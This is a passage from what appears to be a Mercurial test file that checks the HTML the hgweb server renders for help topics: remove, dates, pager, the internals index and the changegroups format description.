3001 3003 </p>
3002 3004 <table>
3003 3005 <tr><td>-R</td>
3004 3006 <td>--repository REPO</td>
3005 3007 <td>repository root directory or name of overlay bundle file</td></tr>
3006 3008 <tr><td></td>
3007 3009 <td>--cwd DIR</td>
3008 3010 <td>change working directory</td></tr>
3009 3011 <tr><td>-y</td>
3010 3012 <td>--noninteractive</td>
3011 3013 <td>do not prompt, automatically pick the first choice for all prompts</td></tr>
3012 3014 <tr><td>-q</td>
3013 3015 <td>--quiet</td>
3014 3016 <td>suppress output</td></tr>
3015 3017 <tr><td>-v</td>
3016 3018 <td>--verbose</td>
3017 3019 <td>enable additional output</td></tr>
3018 3020 <tr><td></td>
3019 3021 <td>--color TYPE</td>
3020 3022 <td>when to colorize (boolean, always, auto, never, or debug)</td></tr>
3021 3023 <tr><td></td>
3022 3024 <td>--config CONFIG [+]</td>
3023 3025 <td>set/override config option (use 'section.name=value')</td></tr>
3024 3026 <tr><td></td>
3025 3027 <td>--debug</td>
3026 3028 <td>enable debugging output</td></tr>
3027 3029 <tr><td></td>
3028 3030 <td>--debugger</td>
3029 3031 <td>start debugger</td></tr>
3030 3032 <tr><td></td>
3031 3033 <td>--encoding ENCODE</td>
3032 3034 <td>set the charset encoding (default: ascii)</td></tr>
3033 3035 <tr><td></td>
3034 3036 <td>--encodingmode MODE</td>
3035 3037 <td>set the charset encoding mode (default: strict)</td></tr>
3036 3038 <tr><td></td>
3037 3039 <td>--traceback</td>
3038 3040 <td>always print a traceback on exception</td></tr>
3039 3041 <tr><td></td>
3040 3042 <td>--time</td>
3041 3043 <td>time how long the command takes</td></tr>
3042 3044 <tr><td></td>
3043 3045 <td>--profile</td>
3044 3046 <td>print command execution profile</td></tr>
3045 3047 <tr><td></td>
3046 3048 <td>--version</td>
3047 3049 <td>output version information and exit</td></tr>
3048 3050 <tr><td>-h</td>
3049 3051 <td>--help</td>
3050 3052 <td>display help and exit</td></tr>
3051 3053 <tr><td></td>
3052 3054 <td>--hidden</td>
3053 3055 <td>consider hidden changesets</td></tr>
3054 3056 <tr><td></td>
3055 3057 <td>--pager TYPE</td>
3056 3058 <td>when to paginate (boolean, always, auto, or never) (default: auto)</td></tr>
3057 3059 </table>
3058 3060
3059 3061 </div>
3060 3062 </div>
3061 3063 </div>
3062 3064
3063 3065
3064 3066
3065 3067 </body>
3066 3068 </html>
3067 3069
3068 3070
3069 3071 $ get-with-headers.py $LOCALIP:$HGPORT "help/remove"
3070 3072 200 Script output follows
3071 3073
3072 3074 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
3073 3075 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
3074 3076 <head>
3075 3077 <link rel="icon" href="/static/hgicon.png" type="image/png" />
3076 3078 <meta name="robots" content="index, nofollow" />
3077 3079 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
3078 3080 <script type="text/javascript" src="/static/mercurial.js"></script>
3079 3081
3080 3082 <title>Help: remove</title>
3081 3083 </head>
3082 3084 <body>
3083 3085
3084 3086 <div class="container">
3085 3087 <div class="menu">
3086 3088 <div class="logo">
3087 3089 <a href="https://mercurial-scm.org/">
3088 3090 <img src="/static/hglogo.png" alt="mercurial" /></a>
3089 3091 </div>
3090 3092 <ul>
3091 3093 <li><a href="/shortlog">log</a></li>
3092 3094 <li><a href="/graph">graph</a></li>
3093 3095 <li><a href="/tags">tags</a></li>
3094 3096 <li><a href="/bookmarks">bookmarks</a></li>
3095 3097 <li><a href="/branches">branches</a></li>
3096 3098 </ul>
3097 3099 <ul>
3098 3100 <li class="active"><a href="/help">help</a></li>
3099 3101 </ul>
3100 3102 </div>
3101 3103
3102 3104 <div class="main">
3103 3105 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
3104 3106 <h3>Help: remove</h3>
3105 3107
3106 3108 <form class="search" action="/log">
3107 3109
3108 3110 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
3109 3111 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
3110 3112 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
3111 3113 </form>
3112 3114 <div id="doc">
3113 3115 <p>
3114 3116 hg remove [OPTION]... FILE...
3115 3117 </p>
3116 3118 <p>
3117 3119 aliases: rm
3118 3120 </p>
3119 3121 <p>
3120 3122 remove the specified files on the next commit
3121 3123 </p>
3122 3124 <p>
3123 3125 Schedule the indicated files for removal from the current branch.
3124 3126 </p>
3125 3127 <p>
3126 3128 This command schedules the files to be removed at the next commit.
3127 3129 To undo a remove before that, see 'hg revert'. To undo added
3128 3130 files, see 'hg forget'.
3129 3131 </p>
3130 3132 <p>
3131 3133 -A/--after can be used to remove only files that have already
3132 3134 been deleted, -f/--force can be used to force deletion, and -Af
3133 3135 can be used to remove files from the next revision without
3134 3136 deleting them from the working directory.
3135 3137 </p>
3136 3138 <p>
3137 3139 The following table details the behavior of remove for different
3138 3140 file states (columns) and option combinations (rows). The file
3139 3141 states are Added [A], Clean [C], Modified [M] and Missing [!]
3140 3142 (as reported by 'hg status'). The actions are Warn, Remove
3141 3143 (from branch) and Delete (from disk):
3142 3144 </p>
3143 3145 <table>
3144 3146 <tr><td>opt/state</td>
3145 3147 <td>A</td>
3146 3148 <td>C</td>
3147 3149 <td>M</td>
3148 3150 <td>!</td></tr>
3149 3151 <tr><td>none</td>
3150 3152 <td>W</td>
3151 3153 <td>RD</td>
3152 3154 <td>W</td>
3153 3155 <td>R</td></tr>
3154 3156 <tr><td>-f</td>
3155 3157 <td>R</td>
3156 3158 <td>RD</td>
3157 3159 <td>RD</td>
3158 3160 <td>R</td></tr>
3159 3161 <tr><td>-A</td>
3160 3162 <td>W</td>
3161 3163 <td>W</td>
3162 3164 <td>W</td>
3163 3165 <td>R</td></tr>
3164 3166 <tr><td>-Af</td>
3165 3167 <td>R</td>
3166 3168 <td>R</td>
3167 3169 <td>R</td>
3168 3170 <td>R</td></tr>
3169 3171 </table>
3170 3172 <p>
3171 3173 <b>Note:</b>
3172 3174 </p>
3173 3175 <p>
3174 3176 'hg remove' never deletes files in Added [A] state from the
3175 3177 working directory, not even if &quot;--force&quot; is specified.
3176 3178 </p>
3177 3179 <p>
3178 3180 Returns 0 on success, 1 if any warnings encountered.
3179 3181 </p>
3180 3182 <p>
3181 3183 options ([+] can be repeated):
3182 3184 </p>
3183 3185 <table>
3184 3186 <tr><td>-A</td>
3185 3187 <td>--after</td>
3186 3188 <td>record delete for missing files</td></tr>
3187 3189 <tr><td>-f</td>
3188 3190 <td>--force</td>
3189 3191 <td>forget added files, delete modified files</td></tr>
3190 3192 <tr><td>-S</td>
3191 3193 <td>--subrepos</td>
3192 3194 <td>recurse into subrepositories</td></tr>
3193 3195 <tr><td>-I</td>
3194 3196 <td>--include PATTERN [+]</td>
3195 3197 <td>include names matching the given patterns</td></tr>
3196 3198 <tr><td>-X</td>
3197 3199 <td>--exclude PATTERN [+]</td>
3198 3200 <td>exclude names matching the given patterns</td></tr>
3199 3201 <tr><td>-n</td>
3200 3202 <td>--dry-run</td>
3201 3203 <td>do not perform actions, just print output</td></tr>
3202 3204 </table>
3203 3205 <p>
3204 3206 global options ([+] can be repeated):
3205 3207 </p>
3206 3208 <table>
3207 3209 <tr><td>-R</td>
3208 3210 <td>--repository REPO</td>
3209 3211 <td>repository root directory or name of overlay bundle file</td></tr>
3210 3212 <tr><td></td>
3211 3213 <td>--cwd DIR</td>
3212 3214 <td>change working directory</td></tr>
3213 3215 <tr><td>-y</td>
3214 3216 <td>--noninteractive</td>
3215 3217 <td>do not prompt, automatically pick the first choice for all prompts</td></tr>
3216 3218 <tr><td>-q</td>
3217 3219 <td>--quiet</td>
3218 3220 <td>suppress output</td></tr>
3219 3221 <tr><td>-v</td>
3220 3222 <td>--verbose</td>
3221 3223 <td>enable additional output</td></tr>
3222 3224 <tr><td></td>
3223 3225 <td>--color TYPE</td>
3224 3226 <td>when to colorize (boolean, always, auto, never, or debug)</td></tr>
3225 3227 <tr><td></td>
3226 3228 <td>--config CONFIG [+]</td>
3227 3229 <td>set/override config option (use 'section.name=value')</td></tr>
3228 3230 <tr><td></td>
3229 3231 <td>--debug</td>
3230 3232 <td>enable debugging output</td></tr>
3231 3233 <tr><td></td>
3232 3234 <td>--debugger</td>
3233 3235 <td>start debugger</td></tr>
3234 3236 <tr><td></td>
3235 3237 <td>--encoding ENCODE</td>
3236 3238 <td>set the charset encoding (default: ascii)</td></tr>
3237 3239 <tr><td></td>
3238 3240 <td>--encodingmode MODE</td>
3239 3241 <td>set the charset encoding mode (default: strict)</td></tr>
3240 3242 <tr><td></td>
3241 3243 <td>--traceback</td>
3242 3244 <td>always print a traceback on exception</td></tr>
3243 3245 <tr><td></td>
3244 3246 <td>--time</td>
3245 3247 <td>time how long the command takes</td></tr>
3246 3248 <tr><td></td>
3247 3249 <td>--profile</td>
3248 3250 <td>print command execution profile</td></tr>
3249 3251 <tr><td></td>
3250 3252 <td>--version</td>
3251 3253 <td>output version information and exit</td></tr>
3252 3254 <tr><td>-h</td>
3253 3255 <td>--help</td>
3254 3256 <td>display help and exit</td></tr>
3255 3257 <tr><td></td>
3256 3258 <td>--hidden</td>
3257 3259 <td>consider hidden changesets</td></tr>
3258 3260 <tr><td></td>
3259 3261 <td>--pager TYPE</td>
3260 3262 <td>when to paginate (boolean, always, auto, or never) (default: auto)</td></tr>
3261 3263 </table>
3262 3264
3263 3265 </div>
3264 3266 </div>
3265 3267 </div>
3266 3268
3267 3269
3268 3270
3269 3271 </body>
3270 3272 </html>
3271 3273
3272 3274
3273 3275 $ get-with-headers.py $LOCALIP:$HGPORT "help/dates"
3274 3276 200 Script output follows
3275 3277
3276 3278 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
3277 3279 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
3278 3280 <head>
3279 3281 <link rel="icon" href="/static/hgicon.png" type="image/png" />
3280 3282 <meta name="robots" content="index, nofollow" />
3281 3283 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
3282 3284 <script type="text/javascript" src="/static/mercurial.js"></script>
3283 3285
3284 3286 <title>Help: dates</title>
3285 3287 </head>
3286 3288 <body>
3287 3289
3288 3290 <div class="container">
3289 3291 <div class="menu">
3290 3292 <div class="logo">
3291 3293 <a href="https://mercurial-scm.org/">
3292 3294 <img src="/static/hglogo.png" alt="mercurial" /></a>
3293 3295 </div>
3294 3296 <ul>
3295 3297 <li><a href="/shortlog">log</a></li>
3296 3298 <li><a href="/graph">graph</a></li>
3297 3299 <li><a href="/tags">tags</a></li>
3298 3300 <li><a href="/bookmarks">bookmarks</a></li>
3299 3301 <li><a href="/branches">branches</a></li>
3300 3302 </ul>
3301 3303 <ul>
3302 3304 <li class="active"><a href="/help">help</a></li>
3303 3305 </ul>
3304 3306 </div>
3305 3307
3306 3308 <div class="main">
3307 3309 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
3308 3310 <h3>Help: dates</h3>
3309 3311
3310 3312 <form class="search" action="/log">
3311 3313
3312 3314 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
3313 3315 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
3314 3316 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
3315 3317 </form>
3316 3318 <div id="doc">
3317 3319 <h1>Date Formats</h1>
3318 3320 <p>
3319 3321 Some commands allow the user to specify a date, e.g.:
3320 3322 </p>
3321 3323 <ul>
3322 3324 <li> backout, commit, import, tag: Specify the commit date.
3323 3325 <li> log, revert, update: Select revision(s) by date.
3324 3326 </ul>
3325 3327 <p>
3326 3328 Many date formats are valid. Here are some examples:
3327 3329 </p>
3328 3330 <ul>
3329 3331 <li> &quot;Wed Dec 6 13:18:29 2006&quot; (local timezone assumed)
3330 3332 <li> &quot;Dec 6 13:18 -0600&quot; (year assumed, time offset provided)
3331 3333 <li> &quot;Dec 6 13:18 UTC&quot; (UTC and GMT are aliases for +0000)
3332 3334 <li> &quot;Dec 6&quot; (midnight)
3333 3335 <li> &quot;13:18&quot; (today assumed)
3334 3336 <li> &quot;3:39&quot; (3:39AM assumed)
3335 3337 <li> &quot;3:39pm&quot; (15:39)
3336 3338 <li> &quot;2006-12-06 13:18:29&quot; (ISO 8601 format)
3337 3339 <li> &quot;2006-12-6 13:18&quot;
3338 3340 <li> &quot;2006-12-6&quot;
3339 3341 <li> &quot;12-6&quot;
3340 3342 <li> &quot;12/6&quot;
3341 3343 <li> &quot;12/6/6&quot; (Dec 6 2006)
3342 3344 <li> &quot;today&quot; (midnight)
3343 3345 <li> &quot;yesterday&quot; (midnight)
3344 3346 <li> &quot;now&quot; - right now
3345 3347 </ul>
3346 3348 <p>
3347 3349 Lastly, there is Mercurial's internal format:
3348 3350 </p>
3349 3351 <ul>
3350 3352 <li> &quot;1165411109 0&quot; (Wed Dec 6 13:18:29 2006 UTC)
3351 3353 </ul>
3352 3354 <p>
3353 3355 This is the internal representation format for dates. The first number
3354 3356 is the number of seconds since the epoch (1970-01-01 00:00 UTC). The
3355 3357 second is the offset of the local timezone, in seconds west of UTC
3356 3358 (negative if the timezone is east of UTC).
3357 3359 </p>
3358 3360 <p>
3359 3361 The log command also accepts date ranges:
3360 3362 </p>
3361 3363 <ul>
3362 3364 <li> &quot;&lt;DATE&quot; - at or before a given date/time
3363 3365 <li> &quot;&gt;DATE&quot; - on or after a given date/time
3364 3366 <li> &quot;DATE to DATE&quot; - a date range, inclusive
3365 3367 <li> &quot;-DAYS&quot; - within a given number of days from today
3366 3368 </ul>
3367 3369
3368 3370 </div>
3369 3371 </div>
3370 3372 </div>
3371 3373
3372 3374
3373 3375
3374 3376 </body>
3375 3377 </html>
3376 3378
3377 3379
3378 3380 $ get-with-headers.py $LOCALIP:$HGPORT "help/pager"
3379 3381 200 Script output follows
3380 3382
3381 3383 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
3382 3384 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
3383 3385 <head>
3384 3386 <link rel="icon" href="/static/hgicon.png" type="image/png" />
3385 3387 <meta name="robots" content="index, nofollow" />
3386 3388 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
3387 3389 <script type="text/javascript" src="/static/mercurial.js"></script>
3388 3390
3389 3391 <title>Help: pager</title>
3390 3392 </head>
3391 3393 <body>
3392 3394
3393 3395 <div class="container">
3394 3396 <div class="menu">
3395 3397 <div class="logo">
3396 3398 <a href="https://mercurial-scm.org/">
3397 3399 <img src="/static/hglogo.png" alt="mercurial" /></a>
3398 3400 </div>
3399 3401 <ul>
3400 3402 <li><a href="/shortlog">log</a></li>
3401 3403 <li><a href="/graph">graph</a></li>
3402 3404 <li><a href="/tags">tags</a></li>
3403 3405 <li><a href="/bookmarks">bookmarks</a></li>
3404 3406 <li><a href="/branches">branches</a></li>
3405 3407 </ul>
3406 3408 <ul>
3407 3409 <li class="active"><a href="/help">help</a></li>
3408 3410 </ul>
3409 3411 </div>
3410 3412
3411 3413 <div class="main">
3412 3414 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
3413 3415 <h3>Help: pager</h3>
3414 3416
3415 3417 <form class="search" action="/log">
3416 3418
3417 3419 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
3418 3420 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
3419 3421 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
3420 3422 </form>
3421 3423 <div id="doc">
3422 3424 <h1>Pager Support</h1>
3423 3425 <p>
3424 3426 Some Mercurial commands can produce a lot of output, and Mercurial will
3425 3427 attempt to use a pager to make those commands more pleasant.
3426 3428 </p>
3427 3429 <p>
3428 3430 To set the pager that should be used, set the application variable:
3429 3431 </p>
3430 3432 <pre>
3431 3433 [pager]
3432 3434 pager = less -FRX
3433 3435 </pre>
3434 3436 <p>
3435 3437 If no pager is set in the user or repository configuration, Mercurial uses the
3436 3438 environment variable $PAGER. If $PAGER is not set, pager.pager from the default
3437 3439 or system configuration is used. If none of these are set, a default pager will
3438 3440 be used, typically 'less' on Unix and 'more' on Windows.
3439 3441 </p>
3440 3442 <p>
3441 3443 You can disable the pager for certain commands by adding them to the
3442 3444 pager.ignore list:
3443 3445 </p>
3444 3446 <pre>
3445 3447 [pager]
3446 3448 ignore = version, help, update
3447 3449 </pre>
3448 3450 <p>
3449 3451 To ignore global commands like 'hg version' or 'hg help', you have
3450 3452 to specify them in your user configuration file.
3451 3453 </p>
3452 3454 <p>
3453 3455 To control whether the pager is used at all for an individual command,
3454 3456 you can use --pager=&lt;value&gt;:
3455 3457 </p>
3456 3458 <ul>
3457 3459 <li> use as needed: 'auto'.
3458 3460 <li> require the pager: 'yes' or 'on'.
3459 3461 <li> suppress the pager: 'no' or 'off' (any unrecognized value will also work).
3460 3462 </ul>
3461 3463 <p>
3462 3464 To globally turn off all attempts to use a pager, set:
3463 3465 </p>
3464 3466 <pre>
3465 3467 [ui]
3466 3468 paginate = never
3467 3469 </pre>
3468 3470 <p>
3469 3471 which will prevent the pager from running.
3470 3472 </p>
3471 3473
3472 3474 </div>
3473 3475 </div>
3474 3476 </div>
3475 3477
3476 3478
3477 3479
3478 3480 </body>
3479 3481 </html>
3480 3482
3481 3483
3482 3484 Sub-topic indexes rendered properly
3483 3485
3484 3486 $ get-with-headers.py $LOCALIP:$HGPORT "help/internals"
3485 3487 200 Script output follows
3486 3488
3487 3489 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
3488 3490 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
3489 3491 <head>
3490 3492 <link rel="icon" href="/static/hgicon.png" type="image/png" />
3491 3493 <meta name="robots" content="index, nofollow" />
3492 3494 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
3493 3495 <script type="text/javascript" src="/static/mercurial.js"></script>
3494 3496
3495 3497 <title>Help: internals</title>
3496 3498 </head>
3497 3499 <body>
3498 3500
3499 3501 <div class="container">
3500 3502 <div class="menu">
3501 3503 <div class="logo">
3502 3504 <a href="https://mercurial-scm.org/">
3503 3505 <img src="/static/hglogo.png" alt="mercurial" /></a>
3504 3506 </div>
3505 3507 <ul>
3506 3508 <li><a href="/shortlog">log</a></li>
3507 3509 <li><a href="/graph">graph</a></li>
3508 3510 <li><a href="/tags">tags</a></li>
3509 3511 <li><a href="/bookmarks">bookmarks</a></li>
3510 3512 <li><a href="/branches">branches</a></li>
3511 3513 </ul>
3512 3514 <ul>
3513 3515 <li><a href="/help">help</a></li>
3514 3516 </ul>
3515 3517 </div>
3516 3518
3517 3519 <div class="main">
3518 3520 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
3519 3521
3520 3522 <form class="search" action="/log">
3521 3523
3522 3524 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
3523 3525 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
3524 3526 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
3525 3527 </form>
3526 3528 <table class="bigtable">
3527 3529 <tr><td colspan="2"><h2><a name="topics" href="#topics">Topics</a></h2></td></tr>
3528 3530
3529 3531 <tr><td>
3530 3532 <a href="/help/internals.bid-merge">
3531 3533 bid-merge
3532 3534 </a>
3533 3535 </td><td>
3534 3536 Bid Merge Algorithm
3535 3537 </td></tr>
3536 3538 <tr><td>
3537 3539 <a href="/help/internals.bundle2">
3538 3540 bundle2
3539 3541 </a>
3540 3542 </td><td>
3541 3543 Bundle2
3542 3544 </td></tr>
3543 3545 <tr><td>
3544 3546 <a href="/help/internals.bundles">
3545 3547 bundles
3546 3548 </a>
3547 3549 </td><td>
3548 3550 Bundles
3549 3551 </td></tr>
3550 3552 <tr><td>
3551 3553 <a href="/help/internals.cbor">
3552 3554 cbor
3553 3555 </a>
3554 3556 </td><td>
3555 3557 CBOR
3556 3558 </td></tr>
3557 3559 <tr><td>
3558 3560 <a href="/help/internals.censor">
3559 3561 censor
3560 3562 </a>
3561 3563 </td><td>
3562 3564 Censor
3563 3565 </td></tr>
3564 3566 <tr><td>
3565 3567 <a href="/help/internals.changegroups">
3566 3568 changegroups
3567 3569 </a>
3568 3570 </td><td>
3569 3571 Changegroups
3570 3572 </td></tr>
3571 3573 <tr><td>
3572 3574 <a href="/help/internals.config">
3573 3575 config
3574 3576 </a>
3575 3577 </td><td>
3576 3578 Config Registrar
3577 3579 </td></tr>
3578 3580 <tr><td>
3579 3581 <a href="/help/internals.dirstate-v2">
3580 3582 dirstate-v2
3581 3583 </a>
3582 3584 </td><td>
3583 3585 dirstate-v2 file format
3584 3586 </td></tr>
3585 3587 <tr><td>
3586 3588 <a href="/help/internals.extensions">
3587 3589 extensions
3588 3590 </a>
3589 3591 </td><td>
3590 3592 Extension API
3591 3593 </td></tr>
3592 3594 <tr><td>
3593 3595 <a href="/help/internals.mergestate">
3594 3596 mergestate
3595 3597 </a>
3596 3598 </td><td>
3597 3599 Mergestate
3598 3600 </td></tr>
3599 3601 <tr><td>
3600 3602 <a href="/help/internals.requirements">
3601 3603 requirements
3602 3604 </a>
3603 3605 </td><td>
3604 3606 Repository Requirements
3605 3607 </td></tr>
3606 3608 <tr><td>
3607 3609 <a href="/help/internals.revlogs">
3608 3610 revlogs
3609 3611 </a>
3610 3612 </td><td>
3611 3613 Revision Logs
3612 3614 </td></tr>
3613 3615 <tr><td>
3614 3616 <a href="/help/internals.wireprotocol">
3615 3617 wireprotocol
3616 3618 </a>
3617 3619 </td><td>
3618 3620 Wire Protocol
3619 3621 </td></tr>
3620 3622 <tr><td>
3621 3623 <a href="/help/internals.wireprotocolrpc">
3622 3624 wireprotocolrpc
3623 3625 </a>
3624 3626 </td><td>
3625 3627 Wire Protocol RPC
3626 3628 </td></tr>
3627 3629 <tr><td>
3628 3630 <a href="/help/internals.wireprotocolv2">
3629 3631 wireprotocolv2
3630 3632 </a>
3631 3633 </td><td>
3632 3634 Wire Protocol Version 2
3633 3635 </td></tr>
3634 3636
3635 3637
3636 3638
3637 3639
3638 3640
3639 3641 </table>
3640 3642 </div>
3641 3643 </div>
3642 3644
3643 3645
3644 3646
3645 3647 </body>
3646 3648 </html>
3647 3649
3648 3650
3649 3651 Sub-topic topics rendered properly
3650 3652
3651 3653 $ get-with-headers.py $LOCALIP:$HGPORT "help/internals.changegroups"
3652 3654 200 Script output follows
3653 3655
3654 3656 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
3655 3657 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
3656 3658 <head>
3657 3659 <link rel="icon" href="/static/hgicon.png" type="image/png" />
3658 3660 <meta name="robots" content="index, nofollow" />
3659 3661 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
3660 3662 <script type="text/javascript" src="/static/mercurial.js"></script>
3661 3663
3662 3664 <title>Help: internals.changegroups</title>
3663 3665 </head>
3664 3666 <body>
3665 3667
3666 3668 <div class="container">
3667 3669 <div class="menu">
3668 3670 <div class="logo">
3669 3671 <a href="https://mercurial-scm.org/">
3670 3672 <img src="/static/hglogo.png" alt="mercurial" /></a>
3671 3673 </div>
3672 3674 <ul>
3673 3675 <li><a href="/shortlog">log</a></li>
3674 3676 <li><a href="/graph">graph</a></li>
3675 3677 <li><a href="/tags">tags</a></li>
3676 3678 <li><a href="/bookmarks">bookmarks</a></li>
3677 3679 <li><a href="/branches">branches</a></li>
3678 3680 </ul>
3679 3681 <ul>
3680 3682 <li class="active"><a href="/help">help</a></li>
3681 3683 </ul>
3682 3684 </div>
3683 3685
3684 3686 <div class="main">
3685 3687 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
3686 3688 <h3>Help: internals.changegroups</h3>
3687 3689
3688 3690 <form class="search" action="/log">
3689 3691
3690 3692 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
3691 3693 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
3692 3694 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
3693 3695 </form>
3694 3696 <div id="doc">
3695 3697 <h1>Changegroups</h1>
3696 3698 <p>
3697 3699 Changegroups are representations of repository revlog data, specifically
3698 3700 the changelog data, root/flat manifest data, treemanifest data, and
3699 3701 filelogs.
3700 3702 </p>
3701 3703 <p>
3702 3704 There are 4 versions of changegroups: &quot;1&quot;, &quot;2&quot;, &quot;3&quot; and &quot;4&quot;. From a
3703 3705 high-level, versions &quot;1&quot; and &quot;2&quot; are almost exactly the same, with the
3704 3706 only difference being an additional item in the *delta header*. Version
3705 3707 &quot;3&quot; adds support for storage flags in the *delta header* and optionally
3706 3708 exchanging treemanifests (enabled by setting an option on the
3707 3709 &quot;changegroup&quot; part in the bundle2). Version &quot;4&quot; adds support for exchanging
3708 3710 sidedata (additional revision metadata not part of the digest).
3709 3711 </p>
3710 3712 <p>
3711 3713 Changegroups when not exchanging treemanifests consist of 3 logical
3712 3714 segments:
3713 3715 </p>
3714 3716 <pre>
3715 3717 +---------------------------------+
3716 3718 | | | |
3717 3719 | changeset | manifest | filelogs |
3718 3720 | | | |
3719 3721 | | | |
3720 3722 +---------------------------------+
3721 3723 </pre>
3722 3724 <p>
3723 3725 When exchanging treemanifests, there are 4 logical segments:
3724 3726 </p>
3725 3727 <pre>
3726 3728 +-------------------------------------------------+
3727 3729 | | | | |
3728 3730 | changeset | root | treemanifests | filelogs |
3729 3731 | | manifest | | |
3730 3732 | | | | |
3731 3733 +-------------------------------------------------+
3732 3734 </pre>
3733 3735 <p>
3734 3736 The principle building block of each segment is a *chunk*. A *chunk*
3735 3737 is a framed piece of data:
3736 3738 </p>
3737 3739 <pre>
3738 3740 +---------------------------------------+
3739 3741 | | |
3740 3742 | length | data |
3741 3743 | (4 bytes) | (&lt;length - 4&gt; bytes) |
3742 3744 | | |
3743 3745 +---------------------------------------+
3744 3746 </pre>
3745 3747 <p>
3746 3748 All integers are big-endian signed integers. Each chunk starts with a 32-bit
3747 3749 integer indicating the length of the entire chunk (including the length field
3748 3750 itself).
3749 3751 </p>
3750 3752 <p>
3751 3753 There is a special case chunk that has a value of 0 for the length
3752 3754 (&quot;0x00000000&quot;). We call this an *empty chunk*.
3753 3755 </p>
3754 3756 <h2>Delta Groups</h2>
3755 3757 <p>
3756 3758 A *delta group* expresses the content of a revlog as a series of deltas,
3757 3759 or patches against previous revisions.
3758 3760 </p>
3759 3761 <p>
3760 3762 Delta groups consist of 0 or more *chunks* followed by the *empty chunk*
3761 3763 to signal the end of the delta group:
3762 3764 </p>
3763 3765 <pre>
3764 3766 +------------------------------------------------------------------------+
3765 3767 | | | | | |
3766 3768 | chunk0 length | chunk0 data | chunk1 length | chunk1 data | 0x0 |
3767 3769 | (4 bytes) | (various) | (4 bytes) | (various) | (4 bytes) |
3768 3770 | | | | | |
3769 3771 +------------------------------------------------------------------------+
3770 3772 </pre>
3771 3773 <p>
3772 3774 Each *chunk*'s data consists of the following:
3773 3775 </p>
3774 3776 <pre>
3775 3777 +---------------------------------------+
3776 3778 | | |
3777 3779 | delta header | delta data |
3778 3780 | (various by version) | (various) |
3779 3781 | | |
3780 3782 +---------------------------------------+
3781 3783 </pre>
3782 3784 <p>
3783 3785 The *delta data* is a series of *delta*s that describe a diff from an existing
3784 3786 entry (either that the recipient already has, or previously specified in the
3785 3787 bundle/changegroup).
3786 3788 </p>
3787 3789 <p>
3788 3790 The *delta header* is different between versions &quot;1&quot;, &quot;2&quot;, &quot;3&quot; and &quot;4&quot;
3789 3791 of the changegroup format.
3790 3792 </p>
3791 3793 <p>
3792 3794 Version 1 (headerlen=80):
3793 3795 </p>
3794 3796 <pre>
3795 3797 +------------------------------------------------------+
3796 3798 | | | | |
3797 3799 | node | p1 node | p2 node | link node |
3798 3800 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) |
3799 3801 | | | | |
3800 3802 +------------------------------------------------------+
3801 3803 </pre>
3802 3804 <p>
3803 3805 Version 2 (headerlen=100):
3804 3806 </p>
3805 3807 <pre>
3806 3808 +------------------------------------------------------------------+
3807 3809 | | | | | |
3808 3810 | node | p1 node | p2 node | base node | link node |
3809 3811 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) |
3810 3812 | | | | | |
3811 3813 +------------------------------------------------------------------+
3812 3814 </pre>
3813 3815 <p>
3814 3816 Version 3 (headerlen=102):
3815 3817 </p>
3816 3818 <pre>
3817 3819 +------------------------------------------------------------------------------+
3818 3820 | | | | | | |
3819 3821 | node | p1 node | p2 node | base node | link node | flags |
3820 3822 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (2 bytes) |
3821 3823 | | | | | | |
3822 3824 +------------------------------------------------------------------------------+
3823 3825 </pre>
3824 3826 <p>
3825 3827 Version 4 (headerlen=103):
3826 3828 </p>
3827 3829 <pre>
3828 3830 +------------------------------------------------------------------------------+----------+
3829 3831 | | | | | | | |
3830 3832 | node | p1 node | p2 node | base node | link node | flags | pflags |
3831 3833 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (2 bytes) | (1 byte) |
3832 3834 | | | | | | | |
3833 3835 +------------------------------------------------------------------------------+----------+
3834 3836 </pre>
3835 3837 <p>
3836 3838 The *delta data* consists of &quot;chunklen - 4 - headerlen&quot; bytes, which contain a
3837 3839 series of *delta*s, densely packed (no separators). These deltas describe a diff
3838 3840 from an existing entry (either that the recipient already has, or previously
